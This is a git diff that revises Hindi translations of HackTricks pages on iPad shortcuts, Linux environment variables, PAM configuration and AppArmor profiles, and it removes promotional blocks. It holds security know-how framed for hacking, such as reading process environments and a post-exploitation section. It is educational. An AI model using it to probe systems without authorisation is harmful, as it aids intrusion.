बार प्रयोग किया जा सकता है) | -| ⌘\[ | आपके ब्राउज़िंग हिस्ट्री में एक पृष्ठ पीछे जाएं | -| ⌘] | आपके ब्राउज़िंग हिस्ट्री में एक पृष्ठ आगे जाएं | +| ⌘R | वर्तमान टैब को ताज़ा करें | +| ⌘. | वर्तमान टैब को लोड करना बंद करें | +| ^⇥ | अगले टैब पर स्विच करें | +| ^⇧⇥ (नियंत्रण-शिफ्ट-टैब) | पिछले टैब पर जाएँ | +| ⌘L | टेक्स्ट इनपुट/URL फ़ील्ड का चयन करें ताकि इसे संशोधित किया जा सके | +| ⌘⇧T (कमांड-शिफ्ट-T) | अंतिम बंद किए गए टैब को खोलें (कई बार उपयोग किया जा सकता है) | +| ⌘\[ | आपके ब्राउज़िंग इतिहास में एक पृष्ठ पीछे जाएँ | +| ⌘] | आपके ब्राउज़िंग इतिहास में एक पृष्ठ आगे जाएँ | | ⌘⇧R | रीडर मोड सक्रिय करें | -#### मेल शॉर्टकट्स +#### मेल शॉर्टकट | शॉर्टकट | क्रिया | | -------------------------- | ---------------------------- | | ⌘L | स्थान खोलें | -| ⌘T | नया टैब खोलें | +| ⌘T | एक नया टैब खोलें | | ⌘W | वर्तमान टैब बंद करें | -| ⌘R | वर्तमान टैब को रिफ्रेश करें | -| ⌘. | वर्तमान टैब को लोडिंग रोकें | +| ⌘R | वर्तमान टैब को ताज़ा करें | +| ⌘. | वर्तमान टैब को लोड करना बंद करें | +| ⌘⌥F (कमांड-ऑप्शन/Alt-F) | आपके मेलबॉक्स में खोजें | ## संदर्भ @@ -282,17 +292,7 @@ _bash, sh, zsh..._ अधिक यहाँ: [https://gtfobins.github.io/](http * [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/) * [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html) -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** प्रेरित खोज इंजन है जो उपयोगकर्ता कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **कंप्रोमाइज़** किया गया है या नहीं जांचने की **मुफ्त** सुविधाएं प्रदान करता है। - -व्हाइटइंटेल का मुख्य उद्देश्य खाता हथियाने और रैंसमवेयर हमलों का मुकाबला करना है जो जानकारी चोरी करने वाले मैलवेयर से होते हैं। - -आप उनकी वेबसाइट चेक कर सकते हैं और उनके इंजन का **मुफ्त** प्रयोग कर सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -300,11 +300,11 @@ GCP हैकिंग सीखें और अभ्यास करें: <
-हैकट्रिक्स का समर्थन करें +HackTricks का समर्थन करें -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें द्वारा पीआर जमा करके** [**हैकट्रिक्स**](https://github.com/carlospolop/hacktricks) और [**हैकट्रिक्स क्लाउड**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} diff --git a/linux-hardening/linux-environment-variables.md b/linux-hardening/linux-environment-variables.md index db9e0ef9d..14a200a13 100644 --- a/linux-hardening/linux-environment-variables.md +++ b/linux-hardening/linux-environment-variables.md @@ -15,24 +15,16 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Global variables -वैश्विक चर **बच्चे प्रक्रियाओं** द्वारा **विरासत में** लिए जाएंगे। +वैश्विक चर **बच्चे की प्रक्रियाओं** द्वारा **विरासत में** लिए जाएंगे। आप अपने वर्तमान सत्र के लिए एक वैश्विक चर बनाने के लिए कर सकते हैं: ```bash export MYGLOBAL="hello world" echo $MYGLOBAL #Prints: hello world ``` -यह वेरिएबल आपके वर्तमान सत्रों और इसके चाइल्ड प्रोसेस द्वारा सुलभ होगा। +यह वेरिएबल आपके वर्तमान सत्रों और इसके चाइल्ड प्रोसेस द्वारा एक्सेस किया जाएगा। आप एक वेरिएबल को **हटाने** के लिए कर सकते हैं: ```bash @@ -54,11 +46,11 @@ printenv cat /proc/$$/environ cat /proc/`python -c "import os; print(os.getppid())"`/environ ``` -## सामान्य वेरिएबल +## Common variables From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) -* **DISPLAY** – **X** द्वारा उपयोग किया जाने वाला डिस्प्ले। यह वेरिएबल आमतौर पर **:0.0** पर सेट होता है, जिसका अर्थ है वर्तमान कंप्यूटर पर पहला डिस्प्ले। +* **DISPLAY** – **X** द्वारा उपयोग किया जाने वाला डिस्प्ले। यह वेरिएबल आमतौर पर **:0.0** पर सेट होता है, जिसका मतलब है वर्तमान कंप्यूटर पर पहला डिस्प्ले। * **EDITOR** – उपयोगकर्ता का पसंदीदा टेक्स्ट संपादक। * **HISTFILESIZE** – इतिहास फ़ाइल में शामिल अधिकतम पंक्तियों की संख्या। * **HISTSIZE** – जब उपयोगकर्ता अपनी सत्र समाप्त करता है तो इतिहास फ़ाइल में जोड़ी गई पंक्तियों की संख्या। @@ -76,7 +68,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https:// * **TZ** – आपका समय क्षेत्र। * **USER** – आपका वर्तमान उपयोगकर्ता नाम। -## हैकिंग के लिए दिलचस्प वेरिएबल +## Interesting variables for hacking ### **HISTFILESIZE** @@ -114,7 +106,7 @@ export SSL_CERT_DIR=/path/to/ca-certificates ![](<../.gitbook/assets/image (897).png>) -नियमित उपयोगकर्ता: +सामान्य उपयोगकर्ता: ![](<../.gitbook/assets/image (740).png>) @@ -126,11 +118,6 @@ export SSL_CERT_DIR=/path/to/ca-certificates ![](<../.gitbook/assets/image (715).png>) -**ट्राई हार्ड सिक्योरिटी ग्रुप** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -140,9 +127,9 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो करें**।** -* **हैकिंग ट्रिक्स साझा करें, PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके। +* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। {% endhint %} diff --git a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md index 8d7cd443f..83416dc31 100644 --- a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md +++ b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md @@ -15,19 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या किसी कंपनी या उसके ग्राहकों को **चुराने वाले मालवेयर** द्वारा **समझौता** किया गया है। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** ### Basic Information @@ -36,7 +23,7 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार #### Configuration Files * **Solaris और UNIX-आधारित सिस्टम** आमतौर पर एक केंद्रीय कॉन्फ़िगरेशन फ़ाइल का उपयोग करते हैं जो `/etc/pam.conf` पर स्थित होती है। -* **Linux सिस्टम** एक निर्देशिका दृष्टिकोण को पसंद करते हैं, जिसमें सेवा-विशिष्ट कॉन्फ़िगरेशन `/etc/pam.d` के भीतर संग्रहीत होते हैं। उदाहरण के लिए, लॉगिन सेवा के लिए कॉन्फ़िगरेशन फ़ाइल `/etc/pam.d/login` पर पाई जाती है। +* **Linux सिस्टम** एक निर्देशिका दृष्टिकोण को प्राथमिकता देते हैं, जिसमें सेवा-विशिष्ट कॉन्फ़िगरेशन `/etc/pam.d` के भीतर संग्रहीत होते हैं। उदाहरण के लिए, लॉगिन सेवा के लिए कॉन्फ़िगरेशन फ़ाइल `/etc/pam.d/login` पर पाई जाती है। लॉगिन सेवा के लिए PAM कॉन्फ़िगरेशन का एक उदाहरण इस प्रकार हो सकता है: ``` @@ -53,7 +40,7 @@ session required /lib/security/pam_unix_session.so ``` #### **PAM प्रबंधन क्षेत्र** -ये क्षेत्र, या प्रबंधन समूह, **auth**, **account**, **password**, और **session** शामिल हैं, जो प्रमाणीकरण और सत्र प्रबंधन प्रक्रिया के विभिन्न पहलुओं के लिए जिम्मेदार हैं: +ये क्षेत्र, या प्रबंधन समूह, **auth**, **account**, **password**, और **session** शामिल हैं, प्रत्येक प्रमाणीकरण और सत्र प्रबंधन प्रक्रिया के विभिन्न पहलुओं के लिए जिम्मेदार हैं: * **Auth**: उपयोगकर्ता की पहचान को मान्य करता है, अक्सर पासवर्ड के लिए संकेत देकर। * **Account**: खाता सत्यापन को संभालता है, जैसे समूह सदस्यता या समय-सीमा प्रतिबंधों की जांच करना। @@ -71,23 +58,12 @@ session required /lib/security/pam_unix_session.so #### उदाहरण परिदृश्य -कई auth मॉड्यूल के साथ सेटअप में, प्रक्रिया एक सख्त क्रम का पालन करती है। यदि `pam_securetty` मॉड्यूल लॉगिन टर्मिनल को अनधिकृत पाता है, तो रूट लॉगिन अवरुद्ध हो जाते हैं, फिर भी सभी मॉड्यूल को इसकी "required" स्थिति के कारण संसाधित किया जाता है। `pam_env` पर्यावरण चर सेट करता है, जो उपयोगकर्ता अनुभव में मदद कर सकता है। `pam_ldap` और `pam_unix` मॉड्यूल एक साथ मिलकर उपयोगकर्ता को प्रमाणीकरण करते हैं, जिसमें `pam_unix` पहले से दिए गए पासवर्ड का उपयोग करने का प्रयास करता है, प्रमाणीकरण विधियों में दक्षता और लचीलापन बढ़ाता है। +कई auth मॉड्यूल के साथ सेटअप में, प्रक्रिया एक सख्त क्रम का पालन करती है। यदि `pam_securetty` मॉड्यूल लॉगिन टर्मिनल को अनधिकृत पाता है, तो रूट लॉगिन अवरुद्ध हो जाते हैं, फिर भी सभी मॉड्यूल को इसके "required" स्थिति के कारण संसाधित किया जाता है। `pam_env` पर्यावरण चर सेट करता है, जो उपयोगकर्ता अनुभव में सहायता कर सकता है। `pam_ldap` और `pam_unix` मॉड्यूल एक साथ मिलकर उपयोगकर्ता को प्रमाणीकरण करते हैं, `pam_unix` पहले से दिए गए पासवर्ड का उपयोग करने का प्रयास करता है, प्रमाणीकरण विधियों में दक्षता और लचीलापन बढ़ाता है। ### संदर्भ * [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **dark-web** संचालित खोज इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या इसके ग्राहक **compromised** हुए हैं **stealer malwares** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/linux-hardening/privilege-escalation/docker-security/apparmor.md b/linux-hardening/privilege-escalation/docker-security/apparmor.md index e983cecbd..f1031072d 100644 --- a/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -1,58 +1,44 @@ # AppArmor {% hint style="success" %} -सीखें और प्रैक्टिस करें AWS हैकिंग: [**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -सीखें और प्रैक्टिस करें GCP हैकिंग: [**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-हैकट्रिक्स का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** को** **फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स**](https://github.com/carlospolop/hacktricks) **और हैकट्रिक्स क्लाउड**](https://github.com/carlospolop/hacktricks-cloud) **github रेपो में पीआर जमा करके। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) +## Basic Information -
+AppArmor एक **कर्नेल संवर्धन है जिसे कार्यक्रमों के लिए उपलब्ध संसाधनों को प्रति-कार्यक्रम प्रोफाइल के माध्यम से प्रतिबंधित करने के लिए डिज़ाइन किया गया है**, प्रभावी रूप से अनिवार्य पहुँच नियंत्रण (MAC) को लागू करता है, जो पहुँच नियंत्रण विशेषताओं को सीधे कार्यक्रमों से जोड़ता है बजाय उपयोगकर्ताओं के। यह प्रणाली **कर्नेल में प्रोफाइल लोड करके** काम करती है, आमतौर पर बूट के दौरान, और ये प्रोफाइल निर्धारित करते हैं कि एक कार्यक्रम किन संसाधनों तक पहुँच सकता है, जैसे नेटवर्क कनेक्शन, कच्चे सॉकेट तक पहुँच, और फ़ाइल अनुमतियाँ। -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** पर आधारित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि यह जांच सके कि कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर्स** द्वारा **कंप्रोमाइज** किया गया है या नहीं। +AppArmor प्रोफाइल के लिए दो संचालन मोड हैं: -व्हाइटइंटेल का मुख्य उद्देश्य खाता हासिल करने और रैंसमवेयर हमलों का मुकाबला करना है जो जानकारी चोरी करने वाले मैलवेयर से होते हैं। +* **Enforcement Mode**: यह मोड प्रोफाइल के भीतर परिभाषित नीतियों को सक्रिय रूप से लागू करता है, उन क्रियाओं को अवरुद्ध करता है जो इन नीतियों का उल्लंघन करती हैं और syslog या auditd जैसे सिस्टम के माध्यम से उल्लंघन के किसी भी प्रयास को लॉग करता है। +* **Complain Mode**: प्रवर्तन मोड के विपरीत, शिकायत मोड उन क्रियाओं को अवरुद्ध नहीं करता है जो प्रोफाइल की नीतियों के खिलाफ जाती हैं। इसके बजाय, यह इन प्रयासों को नीति उल्लंघनों के रूप में लॉग करता है बिना प्रतिबंध लागू किए। -आप उनकी वेबसाइट चेक कर सकते हैं और **मुफ्त** में उनका इंजन आजमा सकते हैं: +### Components of AppArmor -{% embed url="https://whiteintel.io" %} +* **Kernel Module**: नीतियों के प्रवर्तन के लिए जिम्मेदार। +* **Policies**: कार्यक्रम के व्यवहार और संसाधन पहुँच के लिए नियम और प्रतिबंध निर्दिष्ट करते हैं। +* **Parser**: प्रवर्तन या रिपोर्टिंग के लिए नीतियों को कर्नेल में लोड करता है। +* **Utilities**: ये उपयोगकर्ता-मोड कार्यक्रम हैं जो AppArmor के साथ बातचीत करने और प्रबंधित करने के लिए एक इंटरफ़ेस प्रदान करते हैं। -*** +### Profiles path -## मूल जानकारी - -AppArmor एक **कर्नेल एन्हांसमेंट** है जो कार्यक्रमों के लिए प्रोफाइल के माध्यम से उपलब्ध संसाधनों को प्रतिबंधित करने के लिए डिज़ाइन किया गया है, अनिवार्य एक्सेस नियंत्रण (MAC) को प्रभावी रूप से लागू करके एक्सेस नियंत्रण गुणों को सीधे प्रोग्रामों से युक्त करने के द्वारा। यह सिस्टम **कर्नेल में प्रोफाइल लोड करके** काम करता है, सामान्यत: बूट के दौरान, और ये प्रोफाइल निर्दिष्ट करते हैं कि कोई प्रोग्राम किस संसाधन तक पहुंच सकता है, जैसे नेटवर्क कनेक्शन, रॉ सॉकेट एक्सेस, और फ़ाइल अनुमतियाँ। - -AppArmor प्रोफाइल के लिए दो प्रचलित मोड हैं: - -* **निषेध मोड**: यह मोड प्रोफाइल में परिभाषित नीतियों को सक्रिय रूप से लागू करता है, जो इन नीतियों का उल्लंघन करने वाली क्रियाओं को रोकता है और syslog या auditd जैसे सिस्टम के माध्यम से इन्हें उल्लंघन करने की कोशिशों को लॉग करता है। -* **शिकायत मोड**: निषेध मोड की तरह, शिकायत मोड उन क्रियाओं को नहीं रोकता जो प्रोफाइल की नीतियों के खिलाफ जाती हैं। इसके बजाय, यह इन प्रयासों को नीतियों के उल्लंघन के रूप में लॉग करता है बिना प्रतिबंधों को लागू करने। - -### AppArmor के घटक - -* **कर्नेल मॉड्यूल**: नीतियों के प्रवर्तन के लिए जिम्मेदार। -* **नीतियाँ**: कार्यक्रम व्यवहार और संसाधन एक्सेस के लिए नियम और प्रतिबंध निर्धारित करती हैं। -* **पार्सर**: नीतियों को कर्नेल में प्रवर्तन या रिपोर्टिंग के लिए लोड करता है। -* **उपयोगिताएं**: ये उपयोगकर्ता मोड प्रोग्राम्स के साथ बातचीत करने और AppArmor का प्रबंधन करने के लिए एक इंटरफेस प्रदान करने वाले प्रोग्राम हैं। - -### प्रोफाइल पथ - -Apparmor प्रोफाइल आम तौर पर _**/etc/apparmor.d/**_ में सहेजे जाते हैं।\ -`sudo aa-status` के साथ आप उन बाइनरी को सूचीबद्ध कर सकते हैं जिन्हें किसी प्रोफाइल द्वारा प्रतिबंधित किया गया है। यदि आप प्रत्येक सूचीबद्ध बाइनरी के पथ का चार "/" को उसके नाम में डॉट में बदल सकते हैं तो आपको उल्लिखित फ़ोल्डर के अंदर एपार्मर प्रोफाइल का नाम प्राप्त होगा। +Apparmor प्रोफाइल आमतौर पर _**/etc/apparmor.d/**_ में सहेजे जाते हैं।\ +`sudo aa-status` के साथ आप उन बाइनरीज़ की सूची प्राप्त कर सकेंगे जो किसी प्रोफाइल द्वारा प्रतिबंधित हैं। यदि आप सूचीबद्ध प्रत्येक बाइनरी के पथ में "/" को बिंदु में बदल सकते हैं, तो आप उल्लेखित फ़ोल्डर के भीतर apparmor प्रोफाइल का नाम प्राप्त करेंगे। उदाहरण के लिए, _/usr/bin/man_ के लिए एक **apparmor** प्रोफाइल _/etc/apparmor.d/usr.bin.man_ में स्थित होगा। -### कमांड्स +### Commands ```bash aa-status #check the current status aa-enforce #set profile to enforce mode (from disable or complain) @@ -62,42 +48,42 @@ aa-genprof #generate a new profile aa-logprof #used to change the policy when the binary/program is changed aa-mergeprof #used to merge the policies ``` -## प्रोफ़ाइल बनाना +## Creating a profile -* प्रभावित एक्जीक्यूटेबल को दर्शाने के लिए, **पूर्ण मार्ग और वाइल्डकार्ड** (फ़ाइल ग्लॉबिंग के लिए) की अनुमति है। -* **फ़ाइलों** पर एक्सेस नियंत्रण को दर्शाने के लिए निम्नलिखित **एक्सेस नियंत्रण** का उपयोग किया जा सकता है: -* **r** (पढ़ना) -* **w** (लिखना) -* **m** (मेमोरी मैप के रूप में एक्जीक्यूटेबल) -* **k** (फ़ाइल लॉकिंग) -* **l** (हार्ड लिंक्स बनाना) -* **ix** (नए प्रोग्राम को नीति विरासत में एक्जीक्यूट करने के लिए) -* **Px** (पर्यावरण को साफ करने के बाद एक अन्य प्रोफ़ाइल के तहत एक्जीक्यूट करें) -* **Cx** (पर्यावरण को साफ करने के बाद एक बच्चा प्रोफ़ाइल के तहत एक्जीक्यूट करें) -* **Ux** (पर्यावरण को साफ करने के बाद अनियंत्रित एक्जीक्यूट करें) -* **प्रोफ़ाइल में चर** परिभाषित किए जा सकते हैं और प्रोफ़ाइल के बाहर से उन्हें परिवर्तित किया जा सकता है। उदाहरण के लिए: @{PROC} और @{HOME} (प्रोफ़ाइल फ़ाइल में #include \ जोड़ें) -* **अनुमति नियमों को अधिलेखित करने के लिए निषेध नियम समर्थित हैं**। +* प्रभावित निष्पादन योग्य को इंगित करने के लिए, **पूर्ण पथ और वाइल्डकार्ड** फ़ाइलों को निर्दिष्ट करने के लिए अनुमति है (फ़ाइल ग्लोबिंग के लिए)। +* यह इंगित करने के लिए कि बाइनरी के पास **फाइलों** पर क्या पहुंच होगी, निम्नलिखित **एक्सेस नियंत्रण** का उपयोग किया जा सकता है: +* **r** (पढ़ें) +* **w** (लिखें) +* **m** (निष्पादन योग्य के रूप में मेमोरी मैप) +* **k** (फाइल लॉकिंग) +* **l** (हार्ड लिंक बनाना) +* **ix** (एक नए प्रोग्राम के साथ दूसरे प्रोग्राम को निष्पादित करने के लिए नीति विरासत में लेना) +* **Px** (दूसरे प्रोफ़ाइल के तहत निष्पादित करें, पर्यावरण को साफ़ करने के बाद) +* **Cx** (एक बच्चे के प्रोफ़ाइल के तहत निष्पादित करें, पर्यावरण को साफ़ करने के बाद) +* **Ux** (बिना किसी प्रतिबंध के निष्पादित करें, पर्यावरण को साफ़ करने के बाद) +* **चर** को प्रोफाइल में परिभाषित किया जा सकता है और प्रोफाइल के बाहर से हेरफेर किया जा सकता है। उदाहरण: @{PROC} और @{HOME} (प्रोफ़ाइल फ़ाइल में #include \ जोड़ें) +* **अनुमति नियमों को ओवरराइड करने के लिए अस्वीकृति नियमों का समर्थन किया जाता है**। ### aa-genprof -एक प्रोफ़ाइल बनाना शुरू करने के लिए आपकी मदद करने के लिए apparmor का उपयोग किया जा सकता है। **एक्शन्स को जाँचने के लिए apparmor की सहायता लेकर एक एक्जीक्यूटेबल द्वारा किए गए कार्रवाईयों को जाँचने के बाद आपको यह निर्धारित करने देने की संभावना है कि आप किस कार्रवाई को अनुमति देना चाहते हैं या निषेध करना चाहते हैं**।\ -आपको बस यह रन करना है: +प्रोफ़ाइल बनाने की प्रक्रिया को आसान बनाने के लिए apparmor आपकी मदद कर सकता है। यह संभव है कि **apparmor एक बाइनरी द्वारा किए गए कार्यों का निरीक्षण करे और फिर आपको यह तय करने दे कि आप कौन से कार्यों की अनुमति देना या अस्वीकृत करना चाहते हैं**।\ +आपको बस यह चलाना है: ```bash sudo aa-genprof /path/to/binary ``` -फिर, एक विभिन्न कंसोल में वह सभी क्रियाएँ करें जो बाइनरी सामान्य रूप से करेगा: +फिर, एक अलग कंसोल में सभी क्रियाएँ करें जो बाइनरी आमतौर पर करेगी: ```bash /path/to/binary -a dosomething ``` -तो, पहली कंसोल में "**s**" दबाएं और फिर रिकॉर्डेड क्रियाओं में इंडिकेट करें कि आप क्या अनदेखा करना चाहते हैं, अनुमति देना चाहते हैं, या कुछ और। जब आप समाप्त हो जाएं तो "**f**" दबाएं और नया प्रोफ़ाइल _/etc/apparmor.d/path.to.binary_ में बनाया जाएगा +फिर, पहले कंसोल में "**s**" दबाएं और फिर रिकॉर्ड की गई क्रियाओं में संकेत दें कि आप क्या अनदेखा, अनुमति या कुछ और करना चाहते हैं। जब आप समाप्त कर लें, तो "**f**" दबाएं और नया प्रोफ़ाइल _/etc/apparmor.d/path.to.binary_ में बनाया जाएगा। {% hint style="info" %} -एरो कुंजी का उपयोग करके आप चुन सकते हैं कि आप क्या अनुमति देना/इनकार/कुछ और चाहते हैं +तीर कुंजियों का उपयोग करके आप चुन सकते हैं कि आप क्या अनुमति/अस्वीकृत/कुछ और करना चाहते हैं {% endhint %} ### aa-easyprof -आप एक बाइनरी के एक apparmor प्रोफ़ाइल का टेम्प्लेट भी बना सकते हैं: +आप एक बाइनरी के apparmor प्रोफ़ाइल का टेम्पलेट भी बना सकते हैं: ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -123,24 +109,24 @@ sudo aa-easyprof /path/to/binary } ``` {% hint style="info" %} -ध्यान दें कि एक बनाए गए प्रोफ़ाइल में डिफ़ॉल्ट रूप से कुछ भी अनुमति नहीं है, इसलिए सब कुछ निषेधित है। उदाहरण के लिए बाइनरी को `/etc/passwd r,` पढ़ने की अनुमति देने के लिए आपको लाइन जोड़नी होगी। +ध्यान दें कि एक बनाए गए प्रोफ़ाइल में डिफ़ॉल्ट रूप से कुछ भी अनुमति नहीं है, इसलिए सब कुछ अस्वीकृत है। आपको `/etc/passwd r,` जैसी पंक्तियाँ जोड़ने की आवश्यकता होगी ताकि बाइनरी को `/etc/passwd` पढ़ने की अनुमति मिल सके, उदाहरण के लिए। {% endhint %} -आप फिर नए प्रोफ़ाइल को **लागू** कर सकते हैं +आप फिर **लागू** कर सकते हैं नया प्रोफ़ाइल के साथ ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` -### लॉग से प्रोफ़ाइल को संशोधित करना +### Modifying a profile from logs -निम्नलिखित टूल लॉग पढ़ेगा और उपयोगकर्ता से पूछेगा कि क्या वह कुछ प्रतिबंधित क्रियाओं की अनुमति देना चाहता है: +निम्नलिखित उपकरण लॉग पढ़ेगा और उपयोगकर्ता से पूछेगा कि क्या वह कुछ पहचाने गए प्रतिबंधित क्रियाओं की अनुमति देना चाहता है: ```bash sudo aa-logprof ``` {% hint style="info" %} -एरो कुंजी का उपयोग करके आप चुन सकते हैं कि आप क्या अनुमति देना/विरोध/या कुछ भी करना चाहते हैं। +तीर कुंजियों का उपयोग करके आप चुन सकते हैं कि आप क्या अनुमति देना/अस्वीकृत करना/कुछ और करना चाहते हैं {% endhint %} -### प्रोफ़ाइल प्रबंधन +### प्रोफ़ाइल प्रबंधित करना ```bash #Main profile management commands apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode @@ -148,9 +134,9 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` -## लॉग +## Logs -**AUDIT** और **DENIED** लॉग का उदाहरण _/var/log/audit/audit.log_ से एक्जीक्यूटेबल **`service_bin`** का: +Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 @@ -173,9 +159,9 @@ Logfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` -## डॉकर में Apparmor +## Apparmor in Docker -ध्यान दें कि डॉकर का प्रोफ़ाइल **docker-profile** डिफ़ॉल्ट रूप से लोड होता है: +ध्यान दें कि **docker-profile** का प्रोफ़ाइल डॉकर द्वारा डिफ़ॉल्ट 